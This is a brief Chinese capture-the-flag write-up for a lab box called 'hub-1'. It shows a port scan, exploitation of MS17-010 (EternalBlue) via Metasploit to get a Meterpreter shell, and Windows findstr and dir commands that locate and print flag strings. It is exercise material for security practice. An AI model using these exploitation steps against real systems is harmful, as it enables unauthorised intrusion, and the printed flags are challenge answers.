hub-1
扫端口
bash
[SCAN - 20:14:55]$ 192.168.235.131:3306 mysql [MySQL 5.7.26]
[SCAN - 20:15:04]$ 192.168.235.131:135 msrpc [Microsoft Windows RPC]
[SCAN - 20:15:04]$ 192.168.235.131:445 microsoft-ds [Microsoft Windows 7 - 10 microsoft-ds]
[SCAN - 20:15:04]$ 192.168.235.131:139 netbios-ssn [Microsoft Windows netbios-ssn]
[SCAN - 20:15:04]$ 192.168.235.131:80 http [Login Page,nginx 1.15.11] [我的网站]
[Vuln - 20:15:05]$ microsoft-ds://192.168.235.131:445 risk detected: MS17-010 (Eternal blue)
[SCAN - 20:15:09]$ 192.168.235.131:6379 redis [Redis key-value store]
[Hydra - 20:15:09]$ 192.168.235.131:6379 redis Unauthorized Access Vulnerability Detected
[SCAN - 20:15:19]$ 192.168.235.131:49152 unknown
直接打永恒之蓝
bash
msfconsole
msf6 > search ms17-010
Matching Modules
================
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter > shell
Process 2176 created.
Channel 1 created.
Microsoft Windows [▒汾 6.1.7601]
然后用for /f "delims=" %i in ('dir C:\*flag* /s /b') do @echo ===== %i ===== & type "%i" & echo.
bash
===== C:\phpstudy_pro\WWW\flag.php =====
<?php
$flag="flag{Uhe-three-2591c98b70119fe624898b1e424b5e91}"
?>
===== C:\phpstudy_pro\Extensions\MySQL5.7.26\data\dedecmsv57utf8sp2\flagishere.MYD =====
2/flag{Uhe-four-5395f6369445c6985b6c7b9040b725cb}
C:\>type C:\Users\Public\Desktop\fffffflag.txt
===== C:\Users\Public\Desktop\fffffflag.txt =====
//flag{Uhe-five-dffed6c6caa5ce175965d87ad88f1234}
然后执行了findstr /s /i /n /p /c:"Uhe-one" C:\*.*和findstr /s /i /n /p /c:"Uhe-two" C:\*.*
bash
FINDSTR: ▒▒▒▒ C:\WindowC:\phpstudy_pro\WWW\.gitignore:29://flag{Uhe-one-645305016}s\System32\config\RegBack\SOFTWARE
C:\phpstudy_pro\WWW\a\flagzaizheliou\2023\0226\1.html:174: //flag{Uhe-two-290963f0bca6f42d6a6c857c4bea4a4a}
